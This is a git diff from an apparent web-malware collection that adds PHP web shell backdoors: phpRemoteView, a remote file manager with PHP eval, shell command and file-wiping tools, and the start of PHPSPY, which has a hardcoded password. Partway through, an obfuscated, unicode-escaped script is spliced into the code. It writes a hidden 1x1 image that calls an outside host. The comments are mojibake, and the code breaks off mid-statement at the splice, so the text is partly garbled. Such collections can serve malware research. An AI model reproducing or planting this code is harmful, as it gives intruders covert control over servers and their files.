(explode(" ",$autovars2) as $k=>$v) { + if (isset($$v)) $$v=stripslashes($$v); + } + } + + $cp_def=array( + "001001", + "nst2ac", + "d/m/y H:i", + "Tahoma", + "9" + ); + + $panel=0; + if (isset($HTTP_COOKIE_VARS["cp$panel"])) + $cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]); + else + $cp=$cp_def; + $cc=$cp[0]; + $cn=$cp[1]; + +/* + +$cc / $cp[0]- ������ ������������� ����������, ����������� � $cs: + $cc[0] - �� ����� ������� �����������, � ���� ��� �� �����: + n - �� ����� + e - ���������� + $cc[1] - ������� (0 - �������. 1 - ���������) + $cc[2] - ���������� �� ������ + $cc[3] - ��� ������ ��� ����� �� ������ �����: + 0 - �������� � text/plain + 1 - �������� � html + 2 - download + 3 - ��������� ����� (info) + $cc[4] - ��������� ������ ������ �� ��/��/�� + $cc[5] - ����: + 1 - ���������� + 2 - ������ + +$cn / $cp[1] - ������ ������� � �� �������, ������� ����������, ������ ����/����: + t - type + n - name + s - size + a - owner+group + o - owner + g - group + c - chmod + 1 - create time + 2 - modify time + 3 - access time + +$cp[2]: ������ ������� + +$cp[3]: ��� ������ + +$cp[4]: ������ ������ + +*/ + + // ��� ����������� ������� + $cn_align=array(); + $cn_align['t']='center'; + $cn_align['n']='left'; + $cn_align['s']='right'; + $cn_align['a']='center'; + $cn_align['o']='center'; + $cn_align['g']='center'; + $cn_align['c']='center'; + $cn_align['1']='center'; + $cn_align['2']='center'; + $cn_align['3']='center'; + + +/////////////////////////////////////////////////////////////////////////////// + + +/*--mmstart--*/ +$mm=array( +"Index of"=>"������", +"View file"=>"����� �����", +"DISK"=>"����", +"Info"=>"����", +"Plain"=>"������", +"HTML"=>"HTML", +"Session"=>"������", +"Image"=>"��������", +"Notepad"=>"�������", +"DOWNLOAD"=>"���������", +"Edit"=>"������", +"Sorry, this programm run in read-only mode."=>"��������, ��� ��������� �������� � ������ '������ ������'.", +"For full access: write"=>"��� ������� �������: ��������", +"in this php-file"=>"� ���� php-�����", +"Reason"=>"�������", +"Error path"=>"��������� ����", +"Click here for start"=>"������� ��� ������", +"up directory"=>"������� ����", +"access denied"=>"������ ��������", +"REMVIEW TOOLS"=>"������� REMVIEW", +"version"=>"������", +"Free download"=>"���������� ��������", +"back to directory"=>"��������� � �������", +"Size"=>"������", +"Owner"=>"�����", +"Group"=>"������", +"FileType"=>"��� �����", +"Perms"=>"�����", +"Create time"=>"����� ��������", +"Access time"=>"����� �������", +"MODIFY time"=>"����� ���������", +"HEXDUMP PREVIEW"=>"������������ � 16-������ ����", +"ONLY READ ACCESS"=>"������ ������ �� ������", +"Can't READ file - access denied"=>"�� ���� ��������� - ������ ��������", +"full read/write access"=>"������ ������ �� ������/������", +"FILE SYSTEM COMMANDS"=>"������� �������� �������", +"EDIT"=>"������.", +"FILE"=>"����", +"DELETE"=>"�������", +"Delete this file"=>"������� ����", +"CLEAN"=>"��������", +"TOUCH"=>"��������", +"Set current 'mtime'"=>"�����.�����.�����", +"WIPE(delete)"=>"����������", +"Write '0000..' and delete"=>"������ ������, �������", +"COPY FILE"=>"���������� ����", +"COPY"=>"����������", +"MAKE DIR"=>"������� �������", +"type full path"=>"������� ������ ����", +"MkDir"=>"����.���.", +"CREATE NEW FILE or override old file"=>"������� ����� ���� ��� ������������ ������", +"CREATE/OVERRIDE"=>"�������/������������", +"select file on your local computer"=>"������� ���� �� ����� ��������� ����������", +"save this file on path"=>"��������� ���� ���� � �������", +"create file name automatic"=>"��������� ��� ����� �������������", +"OR"=>"���", +"type any file name"=>"������ ��� ����� �������", +"convert file name to lovercase"=>"�������������� ��� � ������ �������", +"Send File"=>"������� ����", +"Delete all files in dir"=>"������� ��� �����", +"Delete all dir/files recursive"=>"������� ��� +����������� ����������", +"Confirm not found (go back and set checkbox)"=>"������������� �� ���������� (��������� ����� � ��������� �������)", +"Delete cancel - File not found"=>"�������� �������� - ���� �� ������", +"YES"=>"��", +"ME"=>"����", +"NO (back)"=>"��� (�����)", +"Delete cancel"=>"�������� ��������", +"ACCESS DENIED"=>"������ ��������", +"done (go back)"=>"������ (�����)", +"Delete ok"=>"��, ��������", +"Touch cancel"=>"���������� ��������", +"Touch ok (set current time to 'modify time')"=>"���������� ��������� (����� ��������� ������� ����� �����������)", +"Clean (empty file) cancel"=>"�������� (��������� �����) ��������", +"Clean ok (file now empty)"=>"��, ������� (���� �������)", +"Wipe cancel - access denied"=>"����������� �������� - ������ ��������", +"Wipe ok (file deleted)"=>"��, ���������� (� ���� �����)", +"DIR"=>"DIR", +"Deleting all files in"=>"�������� ���� ������ �", +"skip"=>"�������", +"deleting"=>"��������", +"Deleting all dir/files (recursive) in"=>"�������� ���� ������/������������ (����������)", +"DONE, go back"=>"������, �����", +"DONE"=>"������", +"file not found"=>"���� �� ������", +"ONLY READ ACCESS (don't edit!)"=>"������ ������ �� ������ (�� �������������)", +"Can't READ file - access denied (don't edit!)"=>"�� ���� ������ ���� - ������ ��������", +"EDIT FILE"=>"������� ����", +"can't open, access denied"=>"�� ���� �������, ������ ��������", +"SAVE FILE (write to disk)"=>"��������� ���� (������ �� ����)", +"You mast checked 'create file name automatic' OR typed file name!"=>"�� ������ �������� ������� [������� ���� �������������] ��� ������ � ���� ��� �����!'", +"SAVING TO"=>"��������� �", +"Sorry, access denied"=>"��������, ������ ��������", +"for example, uncomment next line"=>"��� �������, ���������������� ��������� ������", +"Eval PHP code"=>"��������� PHP ���", +"don't type"=>"�� ������", +"and"=>"�", +"example (remove comments '#')"=>"������ (������� ����������� '#')", +"Shell commands"=>"������� Shell'a", +"filesize to 0byte"=>"������ � 0 ����", +"from"=>"��", +"to"=>"�", +"Full file name"=>"������ ��� �����", +"Can't open directory"=>"�� ���� ������� �������", +"setup"=>"���������", +"back"=>"�����", +"Reset all settings"=>"�������� ��� ���������", +"clear"=>"��������", +"Current"=>"�������", +"Colums and sort"=>"������� � ����������", +"Sort order"=>"������� ����������", +"Ascending sort"=>"�� �����������", +"Descending sort"=>"�� ��������", +"Sort by filename"=>"����������� �� ����� �����", +"Sort by filename extension"=>"����������� �� ���������� �����", +"Date/time format"=>"������ ����/�������", +"Panel font & size"=>"�����/������ ������", +"Setup"=>"�����", +"Char map"=>"�������", +"Language"=>"����", +"English"=>"����������", +"Russian"=>"�������", +"Character map (symbol codes table)"=>"������� ��������", +"Select font"=>"�������� �����", +"or type other"=>"��� ������� ������", +"Font size"=>"������ ������", +"Code limit"=>"������� �����", +"Generate table"=>"������������� �������", +"Universal convert"=>"������������� �����������" +);/*--mmstop--*/ + + + + + $language=$cc[5]; + if ($language!=1 && $language!=2) $language=1; + + +function mm($m) { + global $mm,$language; + if ($language==1) return $m; + if (isset($mm[$m])) return $mm[$m]; + else echo "<script>alert('(mm) msg not found: $m');</script>"; +} + + +switch ($language) { +case 1: +$cn_name=array( +'t'=>"Type", +'n'=>"Name", +'s'=>"Size", +'o'=>"Owner", +'g'=>"Group", +'a'=>"Owner/Group", +'c'=>"Perms", +'1'=>"Create", +'2'=>"Modify", +'3'=>"Access" +); +break; +case 2: +$cn_name=array( +'t'=>"���", +'n'=>"���", +'s'=>"������", +'o'=>"��������", +'g'=>"������", +'a'=>"��������/������", +'c'=>"�����", +'1'=>"������", +'2'=>"�������", +'3'=>"������" +); +break; +} + + + + +/////////////////////////////////////////////////////////////////////////////// + + + + $rand=microtime(); + + if (!isset($c)) $c=""; + if (!isset($d)) $d=""; + if (!isset($f)) $f=""; + + ob(); + $d=str_replace("\\","/",$d); + if ($d=="") $d=realpath("./")."/"; + if ($c=="") $c="l"; + if ($d[strlen($d)-1]!="/") $d.="/"; + $d=str_replace("\\","/",$d); + if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <tt><font color=red><big>$d</big></font></tt>$obb"); + if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb"); + obb(); + + // + // OS detect: + // + $win=0; + $unix=0; + if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1; + + + + +/////////////////////////////////////////////////////////////////////////////// + + +$html=<<<remview +<html><head> +<title>phpRemoteView: $d$f</title> +</head> +<body> +<style> +A { +text-decoration : none; +} +.t { +font-size: 9pt; +text-align : center; +font-family: Verdana; +} +.t2 { +font-size: 8pt; +text-align : center; +font-family: Verdana; +} +.n { + font-family: Fixedsys +} +.s { +font-size: 10pt; +text-align : right; +font-family: Verdana; +} +.sy { +font-family: Fixedsys; +} +.s2 { +font-family: Fixedsys; +color: red; +} +.tab { +font-size: 10pt; +text-align : center; +font-family: Verdana; +background: #cccccc; +} +.tr { +background: #ffffff; +} +</style> +remview; + + + +function display_perms($mode) +{ +if ($GLOBALS['win']) return 0; +/* Determine Type */ +if( $mode & 0x1000 ) +$type='p'; /* FIFO pipe */ +else if( $mode & 0x2000 ) +$type='c'; /* Character special */ +else if( $mode & 0x4000 ) +$type='d'; /* Directory */ +else if( $mode & 0x6000 ) +$type='b'; /* Block special */ +else if( $mode & 0x8000 ) +$type='-'; /* Regular */ +else if( $mode & 0xA000 ) +$type='l'; /* Symbolic Link */ +else if( $mode & 0xC000 ) +$type='s'; /* Socket */ +else +$type='u'; /* UNKNOWN */ + +/* Determine permissions */ +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; + +/* Adjust for SUID, SGID and sticky bit */ +if( $mode & 0x800 ) +$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) +$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) +$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; + +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + +function _posix_getpwuid($x) { + if ($GLOBALS['win']) return array(); + return @posix_getpwuid($x); +} + +function _posix_getgrgid($x) { + if ($GLOBALS['win']) return array(); + return @posix_getgrgid($x); +} + +function up($d,$f="",$name="") { + global $self,$win; + + $len=strlen($d."/".$f); + if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; } + elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";} + else {$sf1="<font size=2>"; $sf2="<font size=3>";} + + echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td + bgcolor=#cccccc> $sf1"; + + $home="<a href='$self'><font face=fixedsys size=+2>*</font></a>"; + echo $home.$sf2."<b>"; + if ($name!="") echo $name; + else { + if ($f=="") echo mm("Index of"); + else echo mm("View file"); + } + echo "</b></font> "; + + $path=explode("/",$d); + + $rootdir="/"; + if ($win) $rootdir=strtoupper(substr($d,0,2))."/"; + + $ss=""; + for ($i=0; $i<count($path)-1; $i++) { + if ($i==0) + $comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>"; + else + $comm="$path[$i]<big><b>/</big></b>"; + + $ss.=$path[$i]."/"; + echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>"; + if ($i==0 && $d=="/") break; + } + echo "</font>"; + if ($f!="") echo "$sf1$f</font>"; + + if ($win && strlen($d)<4 && $f=="") { + echo " &nbsp; ".mm("DISK").": "; + for ($i=ord('a'); $i<=ord('z'); $i++) { + echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> "; + } + } + + echo "</b></big></td><td bgcolor=#999999 width=1% align=center> + <table width=100% border=0 cellspacing=3 cellpadding=0 + bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a + href=$self?c=t&d=".urlencode($d).">".mm("REMVIEW TOOLS")."</a></b> + </nobr></font></td></tr></table> + </td></tr></table>"; +} + + +function up_link($d,$f) { + global $self; + $notepad=str_replace(".","_",$f).".txt"; +echo "<small> +[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Info")."</b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>".mm("Plain")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1>(+)</a></b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>".mm("HTML")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1>(+)</a></b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>".mm("Session")."</b></a>] +[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>".mm("Image")."</b></a>] +[<a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."><b>".mm("Notepad")."</b></a>] +[<a href=$self/".urlencode($f)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>".mm("DOWNLOAD")."</b></a>] +[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Edit")."</b></a>] +</small>"; +} + + +function exitw() { +exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd> +<tr><td align=center> +".mm("Sorry, this programm run in read-only mode.")."<br> +".mm("For full access: write")." `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>` +".mm("in this php-file").".</td></tr></table> +"); +} + + + +function ob() { + global $obb_flag, $obb; + if (!isset($obb_flag)) { $obb_flag=0; $obb=false; } + if (function_exists("ob_start")) { + if ($GLOBALS['obb_flag']) ob_end_clean(); + ob_start(); + $GLOBALS['obb_flag']=1; + } +} + +function obb() { + global $obb; + if (function_exists("ob_start")) { + $obb=ob_get_contents(); + ob_end_clean(); + $obb="<P> +<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td> +<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center> +<b>".mm("Reason").":</b></td></tr></table> +</td></tr><tr><td> +<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td> +$obb<P> +</td></tr></table> +</table><P>"; + $GLOBALS['obb_flag']=0; + } +} + +function sizeparse($size) { + return strrev(preg_replace("!...!","\\0 ",strrev($size))); +} + + +function jsval($msg) { + $msg=str_replace("\\","\\\\",$msg); + $msg=str_replace("\"","\\\"",$msg); + $msg=str_replace("'","\\'",$msg); + return '"'.$msg.'",'; +} + + + +/////////////////////////////////////////////////////////////////////////// + + +switch($c) { + + +// listing +case "l": + + echo $GLOBALS['html']; + + if (!realpath($d)) die("".mm("Error path").". <a href=$self>".mm("Click here for start")."</a>."); + + //up($d); + + ob(); + $di=dir($d); + obb(); + + $dirs=array(); + $files=array(); + + if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")). + "><nobr>&lt;&lt;&lt; <b>".mm("up directory")."</b> &gt;&gt;&gt;</nobr></a> <p>". + "<font color=red><b>".mm("access denied")."</b></font>: $obb"); + while (false!==($name=$di->read())) { + if ($name=="." || $name=="..") continue; + if (@is_dir($d.$name)) { + $dirs[]=strval($name); + $fstatus[$name]=0; + } + else { + $files[]=strval($name); + $fstatus[$name]=1; + } + $fsize[$name]=@filesize($d.$name); + $ftype[$name]=@filetype($d.$name); + if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; } + $fperms[$name]=@fileperms($d.$name); + $fmtime[$name]=@filemtime($d.$name); + $fatime[$name]=@fileatime($d.$name); + $fctime[$name]=@filectime($d.$name); + $fowner[$name]=@fileowner($d.$name); + $fgroup[$name]=@filegroup($d.$name); + if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) + $fext[$name]=strtolower($ok[1]); + else + $fext[$name]=""; + } + $di->close(); + + $listsort=array(); + if (count($dirs)) + foreach ($dirs as $v) { + switch ($cc[0]) { + case "e": $listsort[$v]=$fext[$v].' '.$v; break; + case "n": $listsort[$v]=strtolower($v); break; + default: + switch ($cn[$cc[0]]) { + case "t": case "s": case "n": $listsort[$v]=strtolower($v); break; + case "o": $listsort[$v]=$fowner[$v]; break; + case "g": $listsort[$v]=$fgroup[$v]; break; + case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; + case "c": $listsort[$v]=$fperms[$v]; break; + case "1": $listsort[$v]=$fctime[$v]; break; + case "2": $listsort[$v]=$fmtime[$v]; break; + case "3": $listsort[$v]=$fatime[$v]; break; + + } + } + } + + $names=$listsort; + //echo "<pre>";print_r($names); + if ($cc[1]) arsort($names); else asort($names); + //echo "<pre>";print_r($names); + + $listsort=array(); + if (count($files)) + foreach ($files as $v) { + $v=strval($v); + switch ($cc[0]) { + case "e": $listsort[$v]=$fext[$v].' '.$v; break; + case "n": $listsort[$v]=strtolower($v); break; + default: + switch ($cn[$cc[0]]) { + case "n": $listsort[$v]=strtolower($v); break; + case "t": $listsort[$v]=$ftype[$v]; break; + case "s": $listsort[$v]=$fsize[$v]; break; + case "o": $listsort[$v]=$fowner[$v]; break; + case "g": $listsort[$v]=$fgroup[$v]; break; + case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break; + case "c": $listsort[$v]=$fperms[$v]; break; + case "1": $listsort[$v]=$fctime[$v]; break; + case "2": $listsort[$v]=$fmtime[$v]; break; + case "3": $listsort[$v]=$fatime[$v]; break; + + } + } + } + + + //echo "<pre>DIRS:"; print_r($names); + if ($cc[1]) arsort($listsort); else asort($listsort); + //$names=array_merge($names,$listsort); + foreach ($listsort as $k=>$v) $names[$k]=$v; + //echo "<pre>FILES:"; print_r($listsort); + //echo "<pre>NAMES:"; print_r($names); + +?> +<STYLE> +.title { +color: 'black'; +background: #D4D0C8; +text-align: 'center'; +BORDER-RIGHT: #888888 1px outset; +BORDER-TOP: #ffffff 2px outset; +BORDER-LEFT: #ffffff 1px outset; +BORDER-BOTTOM: #888888 1px outset; +} +.window { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +BACKGROUND-COLOR: #D4D0C8; +CURSOR: default; +} +.window1 { +BORDER-RIGHT: #eeeeee 1px solid; +BORDER-TOP: #808080 1px solid; +BORDER-LEFT: #808080 1px solid; +BORDER-BOTTOM: #eeeeee 1px solid; +FONT: 8pt Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +} +.line { +BORDER-RIGHT: #cccccc 1px solid; +BORDER-TOP: #ffffff 1px solid; +BORDER-LEFT: #ffffff 1px solid; +BORDER-BOTTOM: #cccccc 1px solid; +font: <?php echo $cp[4]; ?>pt <?php echo $cp[3]; ?>; +} +.line2 { +background: #ffffcc; +} +.black {color: black} +a:link.black {color: black} +a:active.black {color: black} +a:visited.black {color: black} +a:hover.black {color: #0000ff} + +.white {color: white} +a:link.white{color: white} +a:active.white{color: white} +a:visited.white{color: white} +a:hover.white{color: #ffff77} + +a:link {color: #000099;} +a:active {color: #000099;} +a:visited {color: #990099;} +a:hover {color: #ff0000;} +a { +CURSOR: default; +} +.windowtitle { +font: 9pt; Tahoma, Verdana, Geneva, Arial, Helvetica, sans-serif; +font-weight: bold; +color: white; +} +.sym { +font: 14px Wingdings; +} +</STYLE> + +<?php + +function up2($d) { + global $win,$self; + $d=str_replace("\\","/",$d); + if (substr($d,-1)!="/") $d.="/"; + $d=str_replace("//","/",$d); + + $n=explode("/",$d); + unset($n[count($n)-1]); + + $path=""; + for ($i=0; $i<count($n); $i++) { + $path="$path$n[$i]/"; + if ($i==0) $path=strtoupper($path); + $paths[]=$path; + } + + $out=""; + $sum=0; + $gr=70; + for ($i=0; $i<count($n); $i++) { + $out.="<a href=$self?c=l&d=".urlencode($paths[$i])." class=white>"; + if (strlen($d)>$gr && $i>0 && $i+1<count($n)) { + if (strlen($d)-$sum>$gr) { + $out.="��"; + $sum+=strlen($n[$i]); + } + else + $out.=$n[$i]; + } + else + if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i]; + $out.="/</a>"; + + } + + return $out; + return "<font size=-2>$d</font>"; +} + +$ext=array(); +$ext['html']=array('html','htm','shtml'); +$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg'); +$ext['exe']=array('exe','com','pif','src','lnk'); +$ext['php']=array('php','phtml','php3','php4','inc'); +$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg'); + + + echo "\n\n\n<script>\nfunction tr("; + for ($i=0; $i<strlen($cn); $i++) { + echo "a$i,"; + } + echo "x) {\ndocument.write(\"<tr bgcolor=#eeeeee"; +// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'>"; + echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'>"; + for ($i=0; $i<strlen($cn); $i++) { + echo '<td align='.$cn_align[$cn[$i]].' class=line '; + switch ($cn[$i]) { + case 's': case 'c': case '1': case '2': case '3': case 't': + echo ' nowrap'; + } + echo ">"; + if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0"; + echo "\"+a$i+\""; + if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0"; + echo "</td>"; + } + echo "</tr>\");\n}"; + echo "\n\n</script>\n\n\n"; + + + //phpinfo(); + //echo implode(" | ",$cp); + echo '<table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc + class=window align=center width=60%><form name=main>'; + + echo '<tr><td colspan='.strlen($cn).' bgcolor=#0A246A background="'. + $self.'?c=img&name=fon&r=" class=windowtitle>'; + + echo '<table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle><tr><td>'. + '<a href='.$self.'><img src='.$self.'?c=img&name=dir border=0></a>'. + up2($d.$f).'</td></tr></table>'; + + echo '</td></tr>'. + '<tr><td>'. + '<table width=100% border=0 cellspacing=0 cellpadding=0 class=window1><tr>'; + + $button_help=array( + 'up'=>"UP DIR", + 'refresh'=>"RELOAD", + 'mode'=>'SETUP, folder option', + 'edit'=>'DIR INFO', + 'home'=>'HomePage', + 'papki'=>'TREE', + 'setup'=>'PHP eval, Shell', + 'back'=>'BACK', + ); + + function button_url($name) { + global $self,$d,$f,$uurl; + switch ($name) { + case 'up': return "$self?c=l&d=".urlencode(realpath($d."..")); + case 'refresh': return "$self?c=l&r=".rand(0,10000)."&d=".urlencode($d); + case 'mode': return "$self?c=setup&ref=$uurl"; + case 'edit': return "$self?c=d&d=".urlencode($d); + case 'home': return "http://php.spb.ru/remview/"; + case 'papki': return "$self?c=tree&d=".urlencode($d); + case 'setup': return "$self?c=t"; + case 'back': return "javascript:history.back(-1)"; + } + } + echo '<td colspan='.strlen($cn).'> + <table border=0 cellspacing=0 cellpadding=2><tr>'; + $buttons=array('back','up','refresh','edit','mode','disk','full','papki','setup','home'); + $tmp=strtoupper($d[0]); + for ($i=0; $i<count($buttons); $i++) { + if ($buttons[$i]=='full') { + echo '<td class=window width=90% align=center nowrap><font color=#999999 face="Arial Black" + style="font-size: 11pt;">&lt;?php<u>R</u>emote<u>V</u>iew?&gt;</font></td>'; + continue; + } + if ($buttons[$i]=='disk') { + if (!$win) continue; + echo '<td width=1% title=\'Select dist\' class=window onMouseOver="this.style.backgroundColor=\'#eeee88\'" '. + ' onMouseOut="this.style.backgroundColor=\'\'">'; + echo "<select name=disk size=1; style='font: 9pt Arial Black; color: #999999 ' + onChange='location.href=\"$self?c=l&d=\"+document.main.disk.options[document.main.disk.selectedIndex].value+\":/\"'>"; + for ($j=ord('A'); $j<=ord('Z'); $j++) + echo '<option value="'.chr($j).'"'.(chr($j)==$tmp?" selected":"").'>'.chr($j); + echo "</select></td>"; + continue; + } + $bturl=button_url($buttons[$i]); + echo '<td width=1% title=\''.$button_help[$buttons[$i]].'\' class=window'. + ' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'. + ' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'. + ' onClick=\'location.href="'.$bturl.'"\'><a href='; + echo button_url($buttons[$i]); + echo '><img HSPACE=3 border=0 src='.$self.'?c=img&name='.$buttons[$i].'></a></td>'; + } + echo '</tr></table> + </td></tr><tr>'; + + + for ($i=0; $i<strlen($cn); $i++) { + echo "<td nowrap class=title onClick='location.href=\"". + "$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl\"'"; + switch ($cn[$i]) { + case 1: case 2: case 3: case "s": echo " width=13%"; break; + case 't': echo " width=2%"; break; + case 'n': echo " width=40%"; break; + } + echo "><a href='$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl' class=black>"; + switch ($cn[$i]) { + case "n": case "t": case "s": case "o": case "g": + case "a": case "c": case "1": case "2": case "3": + echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break; + default: + echo "??$cn[$i]??"; + } + if ($cc[0]==="$i") { + if ($cc[1]=='0') echo "<img src=$self?c=img&name=sort_asc border=0>"; + else echo "<img src=$self?c=img&name=sort_desc border=0>"; + } + echo '</a></td>'; + } + echo '</tr>'; + + echo "\n\n<script>\n\n"; + foreach ($names as $k=>$v) { + + echo "\n\n// $k \n"; + echo 'tr('; + + for ($i=0; $i<strlen($cn); $i++) { + + switch ($cn[$i]) { + + case 'n': + switch($ftype[$k]) { + case 'file': + $vv=strtolower(substr($k,strlen($k)-4,4)); + $add=""; + if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp" + || $vv==".ico" || $vv=="jpeg") $add="&ftype=2&fnot=1"; + if (substr($k,0,5)=="sess_") $add="&ftype=4"; + $ln='<a href='.$self.'?&c=v&d='.urlencode($d). + '&f='.urlencode($k).$add.'>'; + break; + + default: + $ln='<a href='.$self.'?&c=l&d='.urlencode($d.$k).'>'; + break; + } + + if ($ftype[$k]=='dir') + $ln.='<img src='.$self.'?c=img&name=dir border=0>'; + else { + $found=0; + foreach ($ext as $kk=>$vv) { + if (in_array(strtolower($fext[$k]),$vv)) { + $ln.='<img src='.$self.'?c=img&name='.$kk.' border=0>'; + $found=1; + break; + } + } + if (!$found) + $ln.='<img src='.$self.'?c=img&name=unk border=0>'; + } + $ln.=substr($k,0,48).'</a>'; + echo jsval($ln); + + break; + + case "t": + switch ($ftype[$k]) { + case "dir": + echo jsval("<a href=$self?c=d&d=".urlencode($d.$k).">DIR</a>"); + break; + case "file": + echo jsval("<a href=$self/".urlencode($k)."?&c=v&fnot=1&ftype=3&d=". + urlencode($d)."&f=".urlencode($k)." class=sym>\xF2</a> ". + "<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($k)." class=sym>\xF0</a>"); + break; + case "link": + echo jsval("<font class=t>&#8212;&gt;</font>"); + <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> + diff --git a/web-malware-collection-master/Backdoors/PHP/PHPSPY.php b/web-malware-collection-master/Backdoors/PHP/PHPSPY.php new file mode 100755 index 0000000..372223e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/PHPSPY.php @@ -0,0 +1,810 @@ +<?php +/* ++--------------------------------------------------------------------------+ +| PhpSpy Version:1.5 | +| Codz by Angel | +| (c) 2004 Security Angel Team | +| http://www.4ngel.net | +| ======================================================================== | +| Team: http://www.4ngel.net | +| http://www.bugkidz.org | +| Email: 4ngel@21cn.com | +| Date: July 22st(My mother's birthday), 2004 | ++--------------------------------------------------------------------------+ +*/ +error_reporting(7); +ob_start(); +$mtime = explode(' ', microtime()); +$starttime = $mtime[1] + $mtime[0]; + +/*===================== �������� =====================*/ + +// �Ƿ���Ҫ������֤,1Ϊ��Ҫ��֤,��������Ϊֱ�ӽ���.����ѡ������Ч +$admin['check']="1"; + +// ��֤��ʽ,1Ϊ���� Session ��֤,������������� Cookie��֤ +// Ĭ�ϲ��� Session ��֤,�������������½,�����Ϊ Cookie��֤ +$admin['checkmode']="1"; + +// �����Ҫ������֤,���޸ĵ�½���� +$admin['pass']="hkuser"; + +/*===================== ���ý��� =====================*/ + + +// ���������� register_globals = off �Ļ����¹��� +if ( function_exists('ini_get') ) { + $onoff = ini_get('register_globals'); +} else { + $onoff = get_cfg_var('register_globals'); +} +if ($onoff != 1) { + @extract($_POST, EXTR_SKIP); + @extract($_GET, EXTR_SKIP); +} + +/*===================== ������֤ =====================*/ +if($admin['check']=="1") { + if($admin['checkmode']=="1") { + /*------- session ��֤ -------*/ + session_start(); + if ($_GET['action'] == "logout") { + session_destroy(); + echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$_SERVER['PHP_SELF']."\">"; + echo "<span 